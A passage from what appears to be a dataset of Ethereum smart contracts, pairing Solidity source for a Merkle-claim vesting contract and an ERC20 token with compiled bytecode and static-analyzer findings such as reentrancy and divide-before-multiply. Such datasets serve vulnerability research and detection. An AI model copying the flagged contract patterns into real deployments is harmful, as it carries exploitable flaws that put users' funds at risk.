600080831415612c425760009050612ca4565b60008284612c509190613758565b9050828482612c5f9190613727565b14612c9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c969061347b565b60405180910390fd5b809150505b92915050565b6000612cbd612cb884613650565b61362b565b90508083825260208201905082856020860282011115612cdc57600080fd5b60005b85811015612d0c5781612cf28882612d16565b845260208401935060208301925050600181019050612cdf565b5050509392505050565b600081359050612d2581613cc9565b92915050565b600081519050612d3a81613cc9565b92915050565b600081359050612d4f81613ce0565b92915050565b600082601f830112612d6657600080fd5b8135612d76848260208601612caa565b91505092915050565b600081359050612d8e81613cf7565b92915050565b600081519050612da381613cf7565b92915050565b600081359050612db881613d0e565b92915050565b600081519050612dcd81613d0e565b92915050565b600060208284031215612de557600080fd5b6000612df384828501612d16565b91505092915050565b600060208284031215612e0e57600080fd5b6000612e1c84828501612d2b565b91505092915050565b600060208284031215612e3757600080fd5b6000612e4584828501612d40565b91505092915050565b60008060408385031215612e6157600080fd5b6000612e6f85828601612d16565b9250506020612e8085828601612d16565b9150509250929050565b600080600060608486031215612e9f57600080fd5b6000612ead86828701612d16565b9350506020612ebe86828701612d16565b9250506040612ecf86828701612da9565b9150509250925092565b60008060408385031215612eec57600080fd5b6000612efa85828601612d16565b9250506020612f0b85828601612da9565b9150509250929050565b600060208284031215612f2757600080fd5b600082013567ffffffffffffffff811115612f4157600080fd5b612f4d84828501612d55565b91505092915050565b600060208284031215612f6857600080fd5b6000612f7684828501612d7f565b91505092915050565b600060208284031215612f9157600080fd5b6000612f9f84828501612d94565b91505092915050565b600060208284031215612fba57600080fd5b6000612fc884828501612da9565b91505092915050565b600080600060608486031215612fe657600080fd5b6000612ff486828701612dbe565b935050602061300586828701612dbe565b925050604061301686828701612dbe565b9150509250925092565b600061302c8383613038565b60208301905092915050565b613041816137e6565b82525050565b613050816137e6565b82525050565b60006130618261368c565b61306b81856136af565b93506130768361367c565b8060005b838110156130a757815161308e8882613020565b9750613099836136a2565b92505060018101905061307a565b5085935050505092915050565b6130bd8161380a565b82525050565b6130cc8161384d565b82525050565b60006130dd82613697565b6130e781856136c0565b93506130f781856020860161385f565b61310081613999565b840191505092915050565b60006131186023836136c0565b9150613123826139aa565b604082019050919050565b600061313b602a836136c0565b9150613146826139f9565b604082019050919050565b600061315e6022836136c0565b915061316982613a48565b604082019050919050565b6000613181601b836136c0565b915061318c82613a97565b602082019050919050565b60006131a46021836136c0565b91506131af82613ac0565b604082019050919050565b60006131c76020836136c0565b91506131d282613b0f565b602082019050919050565b60006131ea6029836136c0565b91506131f582613b38565b604082019050919050565b600061320d6017836136c0565b915061321882613b87565b602082019050919050565b60006132306025836136c0565b915061323b82613bb0565b604082019050919050565b60006132536024836136c0565b915061325e82613bff565b604082019050919050565b60006132766017836136c0565b915061328182613c4e565b602082019050919050565b6000613299601c836136c0565b91506132a482613c77565b602082019050919050565b60006132bc6012836136c0565b91506132c782613ca0565b602082019050919050565b6132db81613836565b82525050565b6132ea81613840565b82525050565b60006020820190506133056000830184613047565b92915050565b60006040820190506133206000830185613047565b61332d6020830184613047565b9392505050565b60006040820190506133496000830185613047565b61335660208301846132d2565b9392505050565b600060c0820190506133726000830189613047565b61337f60208301886132d2565b61338c60408301876130c3565b61339960608301866130c3565b6133a66080830185613047565b6133b360a08301846132d2565b979650505050505050565b60006020820190506133d360008301846130b4565b92915050565b600060208201905081810360008301526133f381846130d2565b905092915050565b600060208201905081810360008301526134148161310b565b9050919050565b600060208201905081810360008301526134348161312e565b9050919050565b6000602082019050818103600083015261345481613151565b9050919050565b6000602082019050818103600083015261347481613174565b9050919050565b6000602082019050818103600083015261349481613197565b9050919050565b600060208201905081810360008301526134b4816131ba565b9050919050565b600060208201905081810360008301526134d4816131dd565b9050919050565b600060208201905081810360008301526134f481613200565b9050919050565b6000602082019050818103600083015261351481613223565b9050919050565b6000602082019050818103600083015261353481613246565b9050919050565b6000602082019050818103600083015261355481613269565b9050919050565b600060208201905081810360008301526135748161328c565b9050919050565b60006020820190508181036000830152613594816132af565b9050919050565b60006020820190506135b060008301846132d2565b92915050565b600060a0820190506135cb60008301886132d2565b6135d860208301876130c3565b81810360408301526135ea8186613056565b90506135f96060830185613047565b61360660808301846132d2565b9695505050505050565b600060208201905061362560008301846132e1565b92915050565b6000613635613646565b90506136418282613892565b919050565b6000604051905090565b600067ffffffffffffffff82111561366b5761366a61396a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006136dc82613836565b91506136e783613836565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561371c5761371b61390c565b5b828201905092915050565b600061373282613836565b915061373d83613836565b92508261374d5761374c61393b565b5b828204905092915050565b600061376382613836565b915061376e83613836565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156137a7576137a661390c565b5b828202905092915050565b60006137bd82613836565b91506137c883613836565b9250828210156137db576137da61390c565b5b828203905092915050565b60006137f182613816565b9050919050565b600061380382613816565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061385882613836565b9050919050565b60005b8381101561387d578082015181840152602081019050613862565b8381111561388c576000848401525b50505050565b61389b82613999565b810181811067ffffffffffffffff821117156138ba576138b961396a565b5b80604052505050565b60006138ce82613836565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156139015761390061390c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f766572206d61782077616c6c657420616d6f756e742e000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4f766572206d6178207472616e73616374696f6e20616d6f756e742e00000000600082015250565b7f436f6f6c646f776e20656e666f726365642e0000000000000000000000000000600082015250565b613cd2816137e6565b8114613cdd57600080fd5b50565b613ce9816137f8565b8114613cf457600080fd5b50565b613d008161380a565b8114613d0b57600080fd5b50565b613d1781613836565b8114613d2257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220776d60579ff31946cdd1c7adb699ab68cb284d767f9cb5a4650cf3eb0f8d8c5364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,579
0xD313E8C397528b5Cfa26718E2b2D3Dd0a3A67427
pragma solidity ^0.5.12; /** * @dev These functions deal with verification of Merkle trees (hash trees), */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } // Check if the computed hash (root) is equal to the provided root return computedHash == root; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } //TODO add safemath interface IDPR { function transferFrom(address _spender, address _to, uint256 _amount) external returns(bool); function transfer(address _to, uint256 _amount) external returns(bool); function balanceOf(address _owner) external view returns(uint256); } contract MerkleClaim { using SafeMath for uint256; bytes32 public root; IDPR public dpr; //system info address public owner; uint256 public total_release_periods = 276; uint256 public start_time = 1620604800; //2021 年 05 月 10 日 08:00 // uer info mapping(address=>uint256) public total_lock_amount; mapping(address=>uint256) public release_per_period; mapping(address=>uint256) public user_released; mapping(bytes32=>bool) public claimMap; mapping(address=>bool) public userMap; //=====events======= event claim(address indexed _addr, uint256 indexed _amount); event distribute(address indexed _addr, uint256 indexed _amount); event OwnerTransfer(address indexed _newOwner); //====modifiers==== modifier onlyOwner(){ require(owner == msg.sender); _; } constructor(bytes32 _root, address _token) public{ root = _root; dpr = IDPR(_token); owner = msg.sender; } function transferOwnerShip(address _newOwner) onlyOwner external { require(_newOwner != address(0), "MerkleClaim: Wrong owner"); owner = _newOwner; emit OwnerTransfer(_newOwner); } function setClaim(bytes32 node) private { claimMap[node] = true; } function distributeAndLock(address _addr, uint256 _amount, bytes32[] memory proof) public{ require(!userMap[_addr], "MerkleClaim: Account is already claimed"); bytes32 node = keccak256(abi.encodePacked(_addr, _amount)); require(!claimMap[node], "MerkleClaim: Account is already claimed"); require(MerkleProof.verify(proof, root, node), "MerkleClaim: Verify failed"); //update status setClaim(node); lockTokens(_addr, _amount); userMap[_addr] = true; emit distribute(_addr, _amount); } function lockTokens(address _addr, uint256 _amount) private{ total_lock_amount[_addr] = _amount; release_per_period[_addr] = _amount.div(total_release_periods); } function claimTokens() external { require(total_lock_amount[msg.sender] != 0, "User does not have lock record"); require(total_lock_amount[msg.sender].sub(user_released[msg.sender]) > 0, "all token has been claimed"); uint256 periods = block.timestamp.sub(start_time).div(1 days); uint256 total_release_amount = release_per_period[msg.sender].mul(periods); if(total_release_amount >= total_lock_amount[msg.sender]){ total_release_amount = total_lock_amount[msg.sender]; } uint256 release_amount = total_release_amount.sub(user_released[msg.sender]); // update user info user_released[msg.sender] = total_release_amount; require(dpr.balanceOf(address(this)) >= release_amount, "MerkleClaim: Balance not enough"); require(dpr.transfer(msg.sender, release_amount), "MerkleClaim: Transfer Failed"); emit claim(msg.sender, release_amount); } function unreleased() external view returns(uint256){ return total_lock_amount[msg.sender].sub(user_released[msg.sender]); } function withdraw(address _to) external onlyOwner{ require(dpr.transfer(_to, dpr.balanceOf(address(this))), "MerkleClaim: Transfer Failed"); } function pullTokens(uint256 _amount) external onlyOwner{ require(dpr.transferFrom(owner, address(this), _amount), "MerkleClaim: TransferFrom failed"); } }
0x608060405234801561001057600080fd5b50600436106100ff5760003560e01c80637e0db6cc11610097578063c7fef17e11610066578063c7fef17e146104b8578063ebf0c717146104d6578063f03d6672146104f4578063f63013aa14610512576100ff565b80637e0db6cc146103de578063834ee4171461040c5780638863dd1a1461042a5780638da5cb5b1461046e576100ff565b806348c54b9d116100d357806348c54b9d146102e057806351cff8d9146102ea57806356d6e72d1461032e578063621f7b0a14610386576100ff565b8062ec4e4a14610104578063118df67e146101e657806322d761c31461023e5780632bcc23f814610284575b600080fd5b6101e46004803603606081101561011a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561016157600080fd5b82018360208201111561017357600080fd5b8035906020019184602083028401116401000000008311171561019557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929050505061055c565b005b610228600480360360208110156101fc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061080c565b6040518082815260200191505060405180910390f35b61026a6004803603602081101561025457600080fd5b8101908080359060200190929190505050610824565b604051808215151515815260200191505060405180910390f35b6102c66004803603602081101561029a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610844565b604051808215151515815260200191505060405180910390f35b6102e8610864565b005b61032c6004803603602081101561030057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610eb5565b005b6103706004803603602081101561034457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611141565b6040518082815260200191505060405180910390f35b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611159565b6040518082815260200191505060405180910390f35b61040a600480360360208110156103f457600080fd5b8101908080359060200190929190505050611171565b005b61041461137a565b6040518082815260200191505060405180910390f35b61046c6004803603602081101561044057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611380565b005b610476611504565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104c061152a565b6040518082815260200191505060405180910390f35b6104de611530565b6040518082815260200191505060405180910390f35b6104fc611536565b6040518082815260200191505060405180910390f35b61051a6115ce565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156105ff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611a1c6027913960400191505060405180910390fd5b60008383604051602001808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660601b8152601401828152602001925050506040516020818303038152906040528051906020012090506008600082815260200190815260200160002060009054906101000a900460ff16156106d8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526027815260200180611a1c6027913960400191505060405180910390fd5b6106e582600054836115f4565b610757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4d65726b6c65436c61696d3a20566572696679206661696c656400000000000081525060200191505060405180910390fd5b610760816116ac565b61076a84846116db565b6001600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828473ffffffffffffffffffffffffffffffffffffffff167ffb9321085d4e4bed997685c66125572b6a0104e335681818c35b3b4d57726d6e60405160405180910390a350505050565b60056020528060005260406000206000915090505481565b60086020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561091a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f5573657220646f6573206e6f742068617665206c6f636b207265636f7264000081525060200191505060405180910390fd5b60006109ad600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177b90919063ffffffff16565b11610a20576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f616c6c20746f6b656e20686173206265656e20636c61696d656400000000000081525060200191505060405180910390fd5b6000610a4c62015180610a3e6004544261177b90919063ffffffff16565b6117c590919063ffffffff16565b90506000610aa282600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180f90919063ffffffff16565b9050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548110610b2d57600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6000610b81600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361177b90919063ffffffff16565b905081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c6757600080fd5b505afa158015610c7b573d6000803e3d6000fd5b505050506040513d6020811015610c9157600080fd5b81019080805190602001909291905050501015610d16576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4d65726b6c65436c61696d3a2042616c616e6365206e6f7420656e6f7567680081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610dbf57600080fd5b505af1158015610dd3573d6000803e3d6000fd5b505050506040513d6020811015610de957600080fd5b8101908080519060200190929190505050610e6c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a205472616e73666572204661696c65640000000081525060200191505060405180910390fd5b803373ffffffffffffffffffffffffffffffffffffffff167faad3ec96b23739e5c653e387e24c59f5fc4a0724c18ad1970feb0d1444981fac60405160405180910390a3505050565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f0f57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fed57600080fd5b505afa158015611001573d6000803e3d6000fd5b505050506040513d602081101561101757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561109157600080fd5b505af11580156110a5573d6000803e3d6000fd5b505050506040513d60208110156110bb57600080fd5b810190808051906020019092919050505061113e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f4d65726b6c65436c61696d3a205472616e73666572204661696c65640000000081525060200191505060405180910390fd5b50565b60066020528060005260406000206000915090505481565b60076020528060005260406000206000915090505481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111cb57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156112ca57600080fd5b505af11580156112de573d6000803e3d6000fd5b505050506040513d60208110156112f457600080fd5b8101908080519060200190929190505050611377576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4d65726b6c65436c61696d3a205472616e7366657246726f6d206661696c656481525060200191505060405180910390fd5b50565b60045481565b3373ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113da57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561147d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4d65726b6c65436c61696d3a2057726f6e67206f776e6572000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167fcef55b6688c0d2198b4841b7c6a8247f60385b4b5ce83e22506fb3258036379b60405160405180910390a250565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60005481565b60006115c9600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461177b90919063ffffffff16565b905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082905060008090505b855181101561169e57600086828151811061161757fe5b6020026020010151905080831161165e5782816040516020018083815260200182815260200192505050604051602081830303815290604052805190602001209250611690565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b508080600101915050611600565b508381149150509392505050565b60016008600083815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611734600354826117c590919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60006117bd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611895565b905092915050565b600061180783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611955565b905092915050565b600080831415611822576000905061188f565b600082840290508284828161183357fe5b041461188a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611a436021913960400191505060405180910390fd5b809150505b92915050565b6000838311158290611942576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119075780820151818401526020810190506118ec565b50505050905090810190601f1680156119345780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c65780820151818401526020810190506119ab565b50505050905090810190601f1680156119f35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611a0d57fe5b04905080915050939250505056fe4d65726b6c65436c61696d3a204163636f756e7420697320616c726561647920636c61696d6564536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a265627a7a72315820a63ee24f25e90a804ffd0aa02fcb3d16bd763fea6ff94e215fbc05b36734363f64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
2,580
0x1b0cd7c0dc07418296585313a816e0cb953dea96
pragma solidity ^0.4.22; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method 